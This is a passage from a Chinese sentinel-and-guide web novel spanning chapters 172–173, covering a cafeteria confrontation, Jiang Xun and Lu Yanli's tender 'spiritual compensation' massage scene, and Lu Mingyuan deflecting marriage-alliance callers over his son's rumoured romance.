“再看看现在……”桑扶的眼神示意性地向着旁边瞟过去，一眼看到江寻便又是一阵愤恨，“人家陆厌离付出什么了？啊？就在圣所廉价的食堂里约会，还全是花的夏因的钱，不仅不必放下面子讨好，还反过来让向导去伺候他！怎么样？看着你们之间的差距，是不是特别愤怒，特别不甘心？嗯？” “呵！你以为你们之间的差距只是一个A级一个S级吗？归根结底，就是你自个儿太差劲了，夏因才看不上你！你看看你自己，全身上下有哪一点比得过陆厌离？你有什么好气的？要是我，我当然也会选陆厌离！”他越说越难听，看着洛伦茨阴沉下来的目光，面上的扭曲笑容越来越大，最后几乎是指着洛伦茨的鼻子骂了起来： “还敢给我使脸色？你别忘了！是你自己摇着尾巴投靠过来的！是你自己先放弃了那个夏因！现在又在这里摆出这副死人脸给谁看？连当条狗都当不明白！怪不得舔了人家这么久，连点儿肉渣都没吃到！” “砰！”一声闷响，引得周围数双眼睛看了过来。 洛伦茨猛地站起了身，动作幅度大得带倒了身下的椅子。他一俯身伸出大掌，一把攥住了桑扶的脖子把他提了起来，五指如铁钳一般骤然收紧！ 银色的发丝垂下，遮挡住的目光中已再不见往日里的从容自信，取而代之的是骇人的暴戾与杀意！ 桑扶猝不及防之下，被他的突然暴起掐得瞬间窒息，一张漂亮的脸蛋涨得通红，眼珠都一下暴突了出来。双手徒劳地掰扯着洛伦茨纹丝不动的大手，喉咙里发出“嗬嗬嗬”的嘶鸣，脚下奋力地蹬踹却徒劳无功，一双刚刚还充满了恶意的眼睛里，终于染上了真实的恐惧。 周围的嘲笑与窃窃私语声瞬间消失，几桌离得近的学生终于想起，面前这个男人，除了是个令人不齿的背叛者，还是哨兵学院里无可争议的蝉联首席，站在武力巅峰的那一个人！众人面上泛起了如出一辙的惊惧，再不敢议论他一句，匆匆丢下还没吃完的午餐远离。 洛伦茨丝毫没有去看身边的其他人，他的目光死死钉着桑扶的双眼，手臂肌肉紧绷，青筋暴起，只一只手，便牢牢地控住了桑扶，任他如何挣扎也无济于事。 直到对方挣扎的力道开始变弱，眼球上的毛细血管都开始炸开，才稍稍冷静了下来，猛地喘了口气，如同扔一件垃圾一般，猛地将桑扶狠狠掼在了地上。 桑扶被砸得几乎背过气去，浑身的骨骼都剧痛起来，此时却完全顾不上这些。双手颤抖着捂住自己的脖子，剧烈地咳嗽干呕起来，浑浊的眼泪与涎水在脸上狼狈地糊成一团，大口大口地喘息着，好半天，才浑身发抖地撑着地板，感觉活了过来，一张脏污的脸上，满是劫后余生的恐惧。 洛伦茨的胸膛剧烈起伏着，看着瘫软在地面上的桑扶，目光疯狂变换，半晌才重新平静了下来。他最后看了远处似乎没有注意到他们这边骚动的夏因和陆厌离，眼神复杂到了极点。 最终，一句话也没有再说，猛地转过身子，大步离开了食堂，再也没有去管被他丢在地上的桑扶。 “咳咳……咳……洛伦茨！你……你这个疯子！”直到洛伦茨的背影消失在了面前，桑扶才好不容易缓过了气，再次开了口。他气得浑身发抖，吓得牙关打颤，冲着已经看不见的人，声音嘶哑地怒骂道：“有本事……有本事你以后别再来找我疏导！滚吧混蛋！” 而后，在周围人或可怜或鄙夷的目光中，狼狈地重新爬了起来，再顾不上继续吃饭，狠狠踹了一脚被带翻到地上的椅子，在远处的二人发现这里的异样之前，低骂一声，匆匆离去。 一场小小的闹剧，在这个角落里匆匆落幕，可观众却不止周围的那几个人。食堂中，嘈杂的议论声再次喧闹地响起，可这一次，热议的话题中，除了中央那甜甜蜜蜜的二人，又包括上了这狠狠撕破了脸皮，在公共场合里内讧起来的二人。 另一边厢，角落里的这一番冲突，只引来了陆厌离一个骤然冷冽起来的眼神。待看清了冲突的双方后，又马上收起了脸上的表情，若无其事地移开了目光，再次向着江寻笑了起来，丝毫没有提醒江寻的意思。 两人在众人的目光下旁若无人地慢慢分食了午餐，一边吃还一边说着许多日常又无聊的闲话，却没有一个人觉得无趣。 用餐完毕，将餐盘放回了收餐具处，便相携着走出了食堂的大门。 随着二人的离开，整个食堂里再次沸沸扬扬了起来。 下午，二人重新回到了自己的课堂上，各自努力着。到了放学时，陆厌离干脆不再掩饰，直接把悬浮车开到了向导学院这边，接了江寻便一起腾空离去，徒留身后一片兴奋的议论猜测声。 回到家时，时间还很早，江寻快速给两人准备了晚餐之后，便拉着陆厌离一起坐上了沙发。时隔这么久，他准备重新尝试深层链接技能，建立起与陆厌离的精神通道，为重新踏入他的精神图景做好准备。 一年以前，两人之间建立链接还需要以江寻血液中的向导素为引。到了如今，力量不知翻了多少倍的江寻，自然不再需要这些辅助，但是，最基本的冥想与身体接触还是要的。 收束了神思，整个人安静下来，目光对上已经跃跃欲试地偎上了他的陆厌离，江寻轻轻一笑，微微低下头去，凑近了死死盯着他，几乎屏住了呼吸的陆厌离，一手托住了他的后脑仰起他的头来，一手上扬，拨开了他的额发，而后，将自己的额头贴了上去。 下一秒，温和稳定的精神力慢慢向着陆厌离的方向包裹了过去，缓缓催着他体内庞大的精神力流动了起来。 凝滞的哨兵精神力，先是被动地被这股外来的力量所驱动，缓缓流转起来，而后，在越来越多的精神力渗透下，似乎终于想起了这个已经许久没有遇到过的熟悉伙伴，活性开始迅速上升，随后，几乎是欢呼着，主动奔向了这股温和熟悉的精神力。 双方调动起的精神力流愈发壮大，阵阵熟悉又陌生的战栗感开始从骨头缝里渗了出来。 江寻敏锐地发现了这股已经很久没有感受过的身体异动，有些不自在地晃了晃身子，皱了下眉头。稍稍注意就压抑下了这股奇异的感觉，闭上眼专心引导着精神力继续融合流动。 可这种感觉对于哨兵来说却刺激得多，而陆厌离也没有打算去抵抗它。他微睁的双眼开始迷蒙起来，呼吸急促地盯着面前近在咫尺的面庞。 目光如有实质一般，从江寻微颤的睫毛缓缓下移，划过硬挺的鼻梁，俊朗的面庞，而后，久久停驻在他淡色的嘴唇上。 刚刚吃完了饭，江寻的嘴唇湿润，在暖色灯光的照射下，唇珠饱满，泛起点细碎的微光。那一点点的光，随着角度的变换，在他的嘴唇上，从左晃荡到右，又从外沿一点点向着内部翻越，最终消失在他颜色更深的双唇之间。 陆厌离的目光覆在那点亮光上辗转来去，恍惚间，便好像是被那点点闪光裹挟住了自己的一部分，随着它在江寻的唇上蜿蜒攀援，流连忘返，最后越陷越深，深深嵌入了江寻唇齿之间，被他内里更神秘的什么东西彻底碾碎侵吞了下去。 陆厌离的心尖随着这般臆想颤抖又悸动，忽而想起了许久许久之前那惊鸿一触之间感受过的湿润柔软，喉结一动，口腔中迅速分泌出了大量涎液来，不由自主地向着前方颤抖着慢慢凑了过去。 两人原本就几乎贴上的距离再次一缩，呼吸相闻间，陆厌离只觉得连鼻尖的空气都被对方所夺，神志昏昏，无声地张开了嘴急促喘息着越靠越近…… 就在即将真正触碰到的那一刻—— 那从陆厌离微张的嘴唇中吐出的气流，似乎终于令江寻察觉，他的嘴唇不自觉地抿了一下，眉头一皱，眼睫颤动着，似乎下一秒就要睁开！ 久远的记忆再次袭来，这番动静令陆厌离在骤然清醒过来之后，下意识地便做出了反应。 惊慌之下，他的身子闪电般向后一缩，身影一晃，似乎下一秒就要变回小猫的形态。可临变身前，又忽然反应了过来，停下了动作。可他之前的剧烈反应已经造成了影响，随着他的骤然动作，两人额头相触之处倏而分离了开来。 “嘶！” 下一刻，江寻眉目间浮现出一抹明显的痛苦表情，脑袋一晃，瞬间向后仰了过去。 “江寻！”陆厌离这时才反应过来自己坏了事，急急扶住了江寻。 骤然断开的接触，令江寻进行到一半的深层精神链接突然断裂开来，猝不及防的意外令他的意识没来得及及时撤回，这么一下，便被粗暴地从那条虚幻的精神通道中踢了出来，瞬间便受到了一波反噬。 “唔……没事。”江寻缓了片刻，这才五感归位，重新睁开了眼睛。 以他如今的等级，本不至于因为一个C级技能受到反噬，实在是他对于陆厌离太过信任，毫无一点儿防范，骤然遭遇了意外情况，才没有及时应对。 可他第一时间考虑的并不是自己的反噬，睁开眼睛便马上看向已然一脸愧疚地看向他的陆厌离：“怎么了？刚才的链接让你感觉不舒服吗？” 陆厌离仔细看着江寻的神情，确定他真的没有大碍之后才放松了下来。这一放松下来，再听到江寻的问话，哪里说得出来刚才的缘由，想偷偷敷衍过去，可看着江寻关切的双眼又有些说不出口，一瞬间，脸颊便被憋得微微泛起了红，看向江寻的目光湿润了下来。 江寻一见他这副情貌，先是一楞，随即，似乎是明白了过来，自己的脸上也热了热，有些不自在地挪开了目光，不再追问下去。 两人相对无言地沉默了片刻，气氛却不见凝滞，反而在空气中仍然紧紧纠缠在一起的精神力的作用下，越发热切了起来。 陆厌离心跳得越来越快，偷偷看向江寻的目光已经蕴满了某种意味。 终于鼓起勇气，想要启唇说些什么，却见江寻重新移回了目光，若有所思地看向他，先开了口： “我以前也受过反噬，精神力受创吧？但是每次睡一觉之后便会痊愈。是你做了什么？是……精神补偿？” “你那时是怎么做的？做给我看看。”—— 作者有话说：江江：如果我这么说，你要如何应对？[墨镜] 第172章 公寓中的灯光温暖而柔和， 将小小的客厅笼罩在一片宁静温馨的氛围里，为沙发上的两人笼上一层朦胧的光晕。 可两人之间的气氛却不如外表所展现出来的那样轻松祥和。 乍一听到江寻的问话，陆厌离整个人瞬间僵住， 面颊以肉眼可见的速度迅速漫上了一层浅浅薄红， 被头顶洒下来的灯光一照，显出种少见的莹润质感。 他的眼神闪烁着， 完全没想到江寻会忽然问他这个问题。张了张嘴下意识想要否认， 又不想继续撒谎让江寻更加生气，却更怕江寻知道了过去的事，觉得自己趁人之危。一急之下，心中乱成一团，不知该如何是好。 最终，看着江寻始终平和地直视着他的双眼， 还是坦白的想法占了上风。磕磕巴巴地试图解释：“我……我的确试着给你精神补偿了，但是……但我没有做很过分的事！真的！我没想趁人之危， 就是……就是你当时精神匮乏得太严重了，你又一直不停地在给我疏导， 这匮乏里有很大一部分本就是我的责任， 哨兵……哨兵本来就应该负责为给他疏导的向导补偿的……” 陆厌离一开始解释得还很顺，可是想到自己后期的行为，越说声音越小， 显露出一股一眼就能让人看出的心虚来。 江寻看着他这副模样， 好气又好笑。 想到当时在自己身边出现过的各种异状，心里隐约猜到了几分。不过当时自己身体上并没有出现什么痕迹，而陆厌离直到现在都是一副对视一下就会脸红的状态，他也不觉得对方能做出什么过分的举动。 不过适当的教训还是应该有的，要立规矩就要赏罚有度， 不能让他养成这种偷偷摸摸背着他做事的习惯。 “是吗？”江寻故意没有露出多余的表情，再次要求道：“可是算不算过分，可不是由你来定的，而是应该由我这个当事人来决定。既然你觉得自己的做法没问题，那现在就再做给我看看，让我知道，你究竟是怎么补偿的。” “现……现在吗？”陆厌离完全没有这个心理准备，听到这个要求，心中乱成一团，手足无措。 “当然。”江寻挑了挑眉，“正好，你刚才又让我受到了一些反噬不是吗？按你的说法，给我补偿不正是你的责任吗？” “这……”陆厌离一想到刚才因为自己的胡思乱想被骤然打断的精神链接，更加内疚，听着江寻的话语，越发觉得的确是自己的责任，应该由自己来弥补。 他深吸一口气，像是下定了决心，面上却更红了些：“好吧……那，那你躺下……” 江寻闻言，唇边露出一个不易察觉的笑容，直接从善如流地倒了下来，舒舒服服地躺上了沙发，不客气地将脑袋直接枕上了陆厌离的大腿。 陆厌离被他这一下毫无预兆的突然袭击惊得大腿猛然绷紧，颤抖了一下。马上，又觉得自己的反应过于剧烈，强迫自己放松了下来。 他深吸一口气，手指无措地蜷缩了一下，又下定决心般一攥，眼神丝毫不敢往江寻的脸上看去，伸出手去，轻轻拢上了江寻的手掌。 先是用指尖试探性地轻触了一下，看江寻没有露出特别的反应，这才稍稍放松下来，鼓起胆子，托起了他的一只手掌，用双手合了起来。随即，回忆着当时的动作，揉捏着江寻的每一根手指，控制着力道给他按摩起来。 一但开始了动作，陆厌离的精神便集中了起来，不去多想其他的事。 他的手指从江寻的指尖到指关节，从指缝之间到虎口手心，接着，顺着腕间经络的走向一路向上按揉过去。 手腕，小臂肌肉，敏感的肘窝部位，再一路往上，直至大臂、肩头。 他的动作虽然十分生疏，但力道控制得极好，对人体的各个部位也十分熟悉，按摩起来既能有效地缓解疲劳，又不会让人感觉到轻薄不适，可以说，已经是十分有效的补偿手段了。 而静谧的环境，也让陆厌离渐渐放松下来，动作间越发干净利落，体现出了他作为顶级哨兵对于身体极致的控制能力。 然而，这种从容也没能保持多久。当他按摩到肩头，手掌又向着江寻的锁骨脖颈延伸过去时，一抬眼，却发现躺着他腿上的江寻，正睁着双眼，一眨不眨地看着他。 一触到他的眼神，陆厌离的动作瞬间卡壳，心跳顿时加速，面上也重新热了起来，搭在对方锁骨处的手指僵硬了下来，进退两难。 江寻对陆厌离的动作稍稍有些惊讶，若有所思地看着陆厌离的表情，细细品味着滑过心头的微妙感觉。 在这个世界上待着的时间已经这么长了，他也已经理解了这里因为特殊的哨向关系，与地球上十分不同的一些观念。见识过身边的同学、星网上的一些名人们开放的生活态度之后，他还以为即使陆厌离因为儿时的经历，表现得再怎么不同，在周围人潜移默化的影响下，观念、行为模式应该也与大部分星际人一样。 之前在寂静星上时，他就察觉到了自己身边不太对劲，后来又确定了与自己朝夕相对的猫猫，其实是一个人类。之后两人分离期间，得知了这个世界的一些常识之后，他早就仔细回忆过过去那段经历，从中找出了许多的端倪，对当年的事情猜了个七七八八。 如今他感到惊讶，并不是因为陆厌离的行为有多么冒犯。正好相反，他没想到的是，陆厌离所谓的精神补偿居然是这么的……正常。 在如今社会上大多数的人，都把精神补偿与暧昧情|事几乎画上等号的时候，他对于精神补偿的印象居然是教科书上教导的，最为正统常规的那种。 最有趣的是，他明明平日里表现得非常喜欢与自己亲昵，可真正获得机会的时候，表现的又是这么的……青涩。 自己刚才让他重现当时的状况，只是为了教训他，可此时，真的提起了一些好奇心，想知道他能做到哪一步。 见陆厌离在自己的目光下停顿了下来，表情越发羞窘，反而觉得更加有趣，淡淡吩咐道：“继续。” 闻听此言，陆厌离目光游移着觑了江寻一眼，深吸了一口气，压下一些面上的热度，将微微颤抖的手指继续缓缓上移，抚过江寻滑动的喉结，触上了他的面颊。 指尖触及皮肤的时候，两人纠缠在一起的无形精神力同时波动了一下，微微一顿。陆厌离紧张的目光死死盯在江寻脸上，好像只要江寻有一丝抗拒的意思，他就要马上逃跑。 可江寻只是平静地看了他一眼，目光中，连一点惊讶都欠奉，反而有一些鼓励的意思。 陆厌离看着这样的目光，似乎是得到了支持，更多的勇气涌了上来，带着薄茧的手指再次动了起来。 他的指尖从江寻的下巴滑到耳下，再由耳下向上划出一个半圆至太阳穴、额角。接着，在额中汇合，再顺着鼻梁、眼下一路划过唇周，再回到下巴，形成一个循环。 他的动作显得有些笨拙，初始时手上十分轻柔又紧张，按揉了几圈之后，就迅速变得熟练了起来。指尖的力道也渐渐加强，逐渐维持在一个适中的范围里。 陆厌离手下的动作越发放松，心中却越来越紧张。 在江寻从始至终的注视下，他只觉得脸上的温度越来越高，眼睛越来越湿润，整个脑袋都快要烧了起来。 “别……别看我了……”他终于忍不住了，羞恼地伸出一只手，轻轻盖住了江寻的眼睛，声音里都带上了一丝恳求。 眼前骤然陷入黑暗，江寻微微一怔，随即极轻地笑了一声：“好。”然后顺从地闭上了眼睛。 视觉被剥夺之后，其他的感官变得更加敏锐了起来。江寻清晰地从陆厌离呼吸间喷出热气的频率上，感觉到了他的重新放松。 看到江寻依言闭上了双眼，陆厌离终于松了口气，收回了盖在他眼睛上的手掌，重新恢复了之前的节奏，为他继续按摩起来，动作间，更加流畅而大胆。 这样的按摩持续了好一会儿，直到江寻感觉自己面上的皮肤都被这连续不断的搓揉暖热了起来，那双修长的手掌终于停顿了下来。 江寻敏锐地察觉到，又要到下一个阶段了。果然，那双手在稍稍犹豫之后，顺着江寻的鬓边向后滑去，缓缓而又坚定地插入了他的发丝之间。 他的指尖带着恰到好处的力道按压在江寻的头皮上，同时，还会把头发夹在手指之间轻轻拉拽按摩到发根。从头顶到脑后，从耳后到脖颈，每一寸头皮都被他细致地照顾到，完全拉扯过一遍之后，还要打着圈地用指腹再次按压一遍。随着他的动作，江寻只觉得头皮发麻，一种让他战栗的舒适与放松感如同温水一般从头皮上缓缓蔓延开来，直至他的四肢百骸。 而陆厌离，已经再次沉浸在了这样的工作里，一丝不苟，目光专注而虔诚。 只是江寻侧躺下来的位置，实在不太好发力，他只能尽量去平衡自己的力道，让他感受得更加舒服一些。 陆厌离的努力十分有效，原本对“补偿”本身并没有什么特别兴趣的江寻，此时第一次清醒地感受到了补偿的好处。 “嗯……”从头部蔓延开来的舒适感，让他忍不住发出一声慵懒惬意的喟叹。 这声低吟如同羽毛一般轻轻搔过了陆厌离的心尖，让他按摩的动作猛地一顿，顿时，整个人如同过电一般酥麻了一下，待反应过来之后，面上马上热得冒烟，停顿了好几秒，直到江寻发出一声疑问的“嗯？”才重新找回了节奏，继续手上的动作。 两人不再说话，但空气中，无形无质的精神力却汹涌地交缠在一起，比以往任何一次都要来得紧密和融洽，仿佛代替了他们的主人无法说出口的真情实感。一种令人心旌动摇却又无比安心的复杂氛围，在两人之间弥漫开来。 不知过去了多久，一套漫长而细致的补偿，终于结束。 陆厌离轻轻喘着气停了下来，此刻，不仅仅是他的手指，连他的全身都微微发起抖来，脸上已经红得不像话。这一场按摩，竟是比一场真实的战斗还要让他感到疲惫。 同时，他能清晰地感觉到自己的身体某处，已经因为长时间的亲密接触，与江寻毫不吝啬的舒服反馈，无法抑制地积累起了兴奋的反应。他紧紧地并紧了双腿，祈祷宽松的衣物能为他遮掩好，不要被江寻发现他龌龊的欲|望。 享受了一整场细致按摩的江寻满足地叹了口气，之前的一点小小的反噬带来的不适感，已经完全在这场尽职尽责的补偿中烟消云散。他不禁开始感叹这奇妙的“精神补偿”，缓缓睁开了双眼。 一睁开眼，便对上了陆厌离那双闪烁着潋滟水光的碧色眸子，与他那张面颊红润，微微喘息着的脸庞。 两人的目光一触，陆厌离便逃避似的猛地扭过了头去，只留给江寻一个红彤彤的侧耳。 江寻见状微微一笑，故意挑了挑眉，语气里带上了一种轻微的戏谑：“这就结束了？之前你就做到这种程度吗？” 这意有所指的话，立刻令陆厌离头皮都炸了起来，曾经月下的回忆再次清晰地在脑海中上演，在江寻的注视下，他身下的躁动愈演愈烈，忍不住地微微向后弓起了身子，而这样的姿势又令他与江寻之间的距离再次拉近。 看着那双始终平静凝注在自己身上的眼睛，他忍不住地撇了撇嘴角，委屈的感觉从心底蔓延上来，声音里都带上了一丝哭腔喃喃道：“……你别……别这样欺负我……我……” 不知道为什么，看着他这副样子，江寻此时却没有心疼，反而微微兴奋了起来。不过他也知道不能一次把人欺负得太过，抬起手，惩罚性地轻轻捏了捏陆厌离已然布满了细汗的鼻尖，语气变得认真起来：“知道错了吗？以后有什么事都要告诉我，和我好好商量，不准再自己私下里偷偷决定，听到了没有？” “听到了听到了……我错了！”陆厌离忙不迭地点头，面上虽委屈，心中却开心不已。他知道，这一遭算是将过去的事翻篇了，心中一个角落在此时终于彻底放松了下来。 看陆厌离的确是诚心诚意地认识到了自己的错处，江寻这才放过了他，满意地坐起了身。 他刚一坐起来，陆厌离马上就从沙发上弹了起来，头也不回地冲进了浴室里，随即“咔哒”一声，反锁的声音响起。 不一会儿，一阵掩饰一般的哗啦啦水声从浴室中传了出来。 江寻若有所思地看着紧闭起来的浴室门，嘴角勾起一抹了然的轻笑。他可不觉得这个家伙已经对他完全坦白了，若是他没记错的话，当年可还发生过更加“过分”的事情呢。 不过……算了，看他那个样子，今天也已经收回了一些报偿了，就暂且放过他吧。 他心情很好地整理了一下被揉得蓬松的头发，感受着周身充沛而圆转如意的精神力，施施然地起身，踱进了卧室。 * 许久，浴室的水声终于停了下来，又过了好一会儿，房门从被从内轻轻推开，露出了一条缝来。 陆厌离悄悄探出了半个身子，湿漉漉的一头浅灰头发被拢在一条白色毛巾里，顺便遮掩住了他大半的面容，只露出了一双闪烁不定的碧绿眼眸，偷偷向外打量着，搜寻江寻的身影。 客厅昏昏沉沉，大部分区域已经完全浸在了宁静的黑暗之中，唯一的光源来自从卧室那头透过隔断，洒进来的束束暖黄光线。 逆着那光线看过去，隔着隔断，能隐约看到室内唯一的那个身影。 陆厌离看着那处唯一的光源，心中有点犹豫，有点羞赧。想要马上过去亲近江寻，但刚才的补偿与之后欲盖弥彰的洗澡，又让他实在不好意思面对。 正想着，要不直接变回猫形躲过今晚算了，卧室里的人已经发现了他这处的动静，一个带着细微笑意的声音响起：“还在那磨蹭什么呢？快过来睡觉了。” 陆厌离吓了一跳，下意识地缩了缩脖子，整个身体都僵了一下。而后，才磨磨蹭蹭地挪出了浴室，低着头走向卧室，垂下的双眸里，眼神飘忽不定，就是不敢正面看向卧室里面。 浴室离卧室的距离太短，即使陆厌离再磨蹭，几息之后，也已经走到了尽头。 他偷偷抬头觑了一眼，江寻此时正靠坐在床头上，就着一盏温暖的床头灯看着手中的书本，柔和的灯光勾勒出了他沉静平和的侧脸。 陆厌离慢腾腾地走到了床边，手指无意识地揪着头上毛巾的边角，把毛巾往下拉着，更多地遮掩起自己的面容。 只顾着遮脸，头发却滴滴答答地往下滴着水，洇湿了肩头一小块布料。 他的眼神游移着不敢对上江寻了然的目光，含含糊糊应了一声，手上用力，胡乱擦了两下头发，就迫不及待地催动起了精神力，想要再次拟化成猫，躲避江寻探究的眼神。 “等等……”一见他的动作，江寻眉头一皱，当即叫停，目光落在被他揉得乱七八糟，但肉眼可见仍然湿漉漉的头发上，“怎么不好好擦干？过来给我看看。” 陆厌离的动作一瞬顿住，偷偷抬眼瞟了瞟江寻，见他神情始终安宁平和，似乎没有发现自己的异样，也没有要继续追究之前事情的意思，心下稍稍放松，乖乖地走了过去。 在陆厌离挪步的时候，江寻已然放下了手中的书，坐直身子向后挪了挪，让出身前一片空出来的床铺：“过来坐下。” 陆厌离此时听话地不得了，依言走过去转过身坐了下来。 下一秒，一条坚实的手臂从他的腰侧伸了过来，将他往臂弯里一扣，腰上一紧，整个人便被环抱着向后挪去，背上一暖，侧靠进了一个令人安心的怀抱里。鼻尖，隐隐约约的苦艾味道弥漫开来，手上一轻，头上的毛巾便被抽了出去。 把人揽进了怀里，江寻便开始按压着毛巾，动作温柔地为陆厌离擦拭起了湿发。 似乎是为了回报对方刚才的“补偿”，这一次，他的动作也十足的认真细致，力道同样掌握地恰到好处，照顾到了所有的边边角角，将发丝上挂着的每一滴水渍一点点擦干。 陆厌离微微低着头，整个脑袋都遮掩在宽大的毛巾下。化作猫体时，他对这样的亲近已然十分熟悉。可作为人形时，他还从没被江寻这样主动又紧密地抱在怀里过。 瞬间，身体僵硬得一动也不敢动，脸上再次飞红，心脏在胸腔中鼓噪着狂跳起来。这么近的距离，他觉得江寻一定已经发现了自己的兴奋与紧张。他羞窘着却又无处逃避，只能掩耳盗铃一般紧紧闭上了眼睛，扭头把脸颊藏进了江寻怀里，躲避他明了的视线。 江寻没擦几下，就感觉身前的人又磨磨蹭蹭地动了起来，这一次却不是逃跑，而是反过来更近地缩进了自己的怀里。不由为他这毫无用处的逃避笑出了声。 听到他的动静，陆厌离的脑袋更低，却又将身子也依偎了过来，整个人都在往他怀里缩。这副模样，又让江寻幻视到了小树惯常的样子，不由心中更加温软起来，手上的动作也更加温柔细致。 而此刻，已然整个人缩进江寻怀里的陆厌离，感受着拂过耳畔的温热呼吸，闻着对方身上熟悉又令他陶醉的向导素味道，只感觉整个人都被对方周身散发出的那股令人安心的温暖与柔和团团包裹了起来。 最初的紧张过后，巨大的幸福感无可抵挡地冲上他的心头，在他的胸腔里盘桓一圈之后，又汹涌冲向了他的四肢百骸。瞬间，浑身的皮肤一阵酥麻，所有毛孔仿佛都畅通了起来。 他的口中控制不住地溢出一声长长地低吟，眼睛湿润着眯缝了起来，像是一只被顺毛抚慰的猫咪，整个身体在一阵细微的颤抖过后，彻底酥软放松了下来，嘴角不受控制地向上扬起，露出一个十足幸福又无比满足的笑容，面颊上的红晕，从耳后一直向后延伸，随着因为他低头的动作暴露出来的洁白颈项，一路泛滥了下去—— 作者有话说：改完收工[狗头叼玫瑰] 第173章 月明星稀， 晚风轻拂，令中央星的夜晚更添静谧。 小小的公寓里，只亮着一盏昏黄灯光。 江寻慢悠悠地为陆厌离擦着头发， 安静让思绪也变得悠长， 他想回忆一下以前小树都是怎么洗澡的，想了半天才恍然惊觉， 两人之前在一起时， 对方似乎从没自己洗过澡，每次都是自己给他洗的。 想起了这一遭，再看看现在窝在自己怀里的大活人，江寻这才后知后觉地有些不好意思，怪不得之前他那么抗拒自己给他洗澡，原来是这么回事。 念头一闪而过， 搓揉着手上的毛巾，他一边动作， 一边低声嘱咐起来：“以后洗完澡都要好好擦干头发才能上床睡觉，知道了吗？” “嗯嗯……”陆厌离马上一迭声地应下， 速度快得江寻怀疑他根本就没过脑子。看着他一脸开心， 魂游天外的模样，江寻无奈地摇了摇头，知道自己的话他大概已经听不进去了， 也不在此时多说， 反正他总是在自己身边的，有的是时间慢慢教育。 不过……他似乎还比自己大几岁，自己和他在一起的时候，怎么总想着要教他呢…… 江寻的思绪有些发散，可能是因为他在自己面前总是表现得爱闹又喜欢撒娇， 像个十几岁的孩子吧，不知道和他休眠时间过长，缺乏人际交往有没有关系…… 他一边转着各种漫无边际的念头，一边悠闲地擦着手下的头发，恍惚间，就有了一种岁月悠长的感觉。 江寻回过神来一笑，把毛巾丢在一旁，手指插入陆厌离的发间，随手抚了几下，换来他一个疑惑的眼神。 江寻也不解释，轻拍了拍他的后背：“好了，睡觉吧。” 陆厌离有些不舍地手臂使劲，又抱了抱江寻，把泛着潮气的头发在他肩上蹭了蹭，这才不好意思再赖着，坐起了身来。 随后，周身的力场向内一收，身形一虚便迅速缩小了下去。浑身衣物软软跌落下来，一只毛茸茸的灰色猫猫从领口中探出了头来。 碧绿的大眼睛圆溜溜地看向江寻，然后“喵呜”一声轻盈一跃，精准地重新扑进了江寻的怀里，踩着江寻的手臂向上一够，两只爪子就围上了江寻的脖颈，脑袋亲昵地蹭进了江寻颈窝里，喉咙中瞬间像安了一个小马达，发出一连串满足的咕噜声。 江寻嘴角的微笑放大，被自家猫猫扑得向后一倒，还要一边笑着，一边好好地接住这团毛茸茸的小东西。也不去管他在自己身上闹腾，虚虚拢住他扣在怀里，倾身关掉了旁边的床头灯。 失去了唯一的光源，整个房间彻底暗了下来，只剩下窗外洒进来的朦胧月光。 趁着黑暗，猫猫又是抱又是踩又是磨蹭，与江寻闹腾了好半天，这才感觉到累了。在江寻怀里找了个最舒服的位置，将自己团成一个温暖的毛球倒了下去，紧紧依偎着熟悉的胸膛，呼吸很快就变得悠长起来。 江寻微笑着又将他往自己怀里揽了揽，下巴轻轻抵上猫猫毛茸茸的头顶，拉起被子给两人盖好，也闭上了眼睛。 月色静谧悠长，在漫长的分别与寻觅之后，他们终于重新找回了彼此的曾经。 * 当江寻与陆厌离在公寓中找回了旧日时光，温馨地相拥而眠时，整个圣所、塔、乃至整个上流社交圈，却因为他们白日里毫不掩饰的亲密互动而彻底沸腾了起来。 陆厌离，荣耀的联盟双星之一，新晋最高荣誉勋章获得者，刚刚康复归来，实力更进一步，所有家族耆老们眼中头一号的潜力联姻人选，竟然如此高调的，在公开的场合与一名寂寂无名的在校B级向导举止亲密，传出绯闻。甚至有传言，他穿着对方的衣物高调宣示了两人已经结为固定的疏导关系。 这个消息，以前所未有的速度传播向了整个顶层圈子。 因为陆厌离足以影响现今势力格局的重要身份，“夏因”这个名字，瞬间被无数道目光聚焦，他的来历第一时间被探查了下去，然而，所有的调查线索在追溯到M85星系时便戛然而止。边缘星系情况复杂，信息混乱鱼龙混杂，想要在短时间内从那里挖掘出一个人的过去难如登天。 但M85星系这个地方，却让大部分人立刻联想到了陆厌离上一次完成的镇压任务。没有人觉得这是一个巧合，虽然两人来到中央星的时间有些对不上，但几乎所有人都默认了两人早在那个时候就已经产生了某种联系。但具体他们是怎么认识的，中间又发生了什么事，却无人能知。 就在外界为了这个突如其来的消息纷纷扰扰，猜测不断的时候，唯二窥见了些许真相的人，在此时却对此事有着截然不同的态度。 * 陆家老宅书房内，此刻灯火通明，亮如白昼。 陆明远面前的通讯器刚刚挂断，便再一次闪烁了起来。 自从陆厌离的绯闻传开，从今天下午开始，他的终端就几乎从未停歇过。 以往那些言辞客气，热切和善地打过来，商量着相亲联姻的通讯，在今天都变成了带着些试探与疑虑的询问，许多已经基本敲定了的合作，也生出了波折。所有人联系的目的基本都落在了那个突然冒出来的B级向导身上。 “陆族长，听说厌离贤侄身边……多了个小朋友？” “……我知道，咱们谁没年轻过呢？但是老陆啊，年轻人玩玩很正常，分寸要把握好，要是为了这些小玩意儿影响了我们两家的情谊，就不太好了，你说是吗？” 陆明远面沉似水，今天一天里，他已经面对了无数通这样的通讯，即使以他的城府，也已经难以控制表情。但对着通讯器时，声音里仍带着那种高位者惯有的云淡风轻，与所有人游刃有余地周旋着。 “李老放心，不过是个运气好的小向导，难得能和厌离匹配上帮他疏导一下罢了。您也知道的，厌离这孩子从小没接触过什么人，这不是刚刚康复过来吗？什么都想试一试，只是图一时新鲜罢了。” “……那是肯定的，我心里有数，这小向导，外域来的，无根无基的，等级也不算高，顶多就是养在外面帮厌离疏导一下，还能减轻一下以后贵千金的负担，您放心，这件事绝不会影响到咱们两家的合作。” “……对，这件事我肯定会给大家一个交代的。但是需要一点时间……哎，我也没办法，厌离从小不在我身边，如今又在兴头上，现在插手只会让他更逆反……谁说不是呢，我们这些当父亲的不操心能怎么办呢！” “……是，等这阵子他的兴头下去了，我肯定重新为两个孩子安排见面的机会……对，您放心，肯定不会耽误咱们两家的大事。” “……哎呀，看您说的，他一个男人，就算厌离喜欢，又能怎么样？绝不可能动摇未来厌离妻子的地位的。我们陆家，肯定只认主母。” 陆明远对每个联系过来的族老解释着。 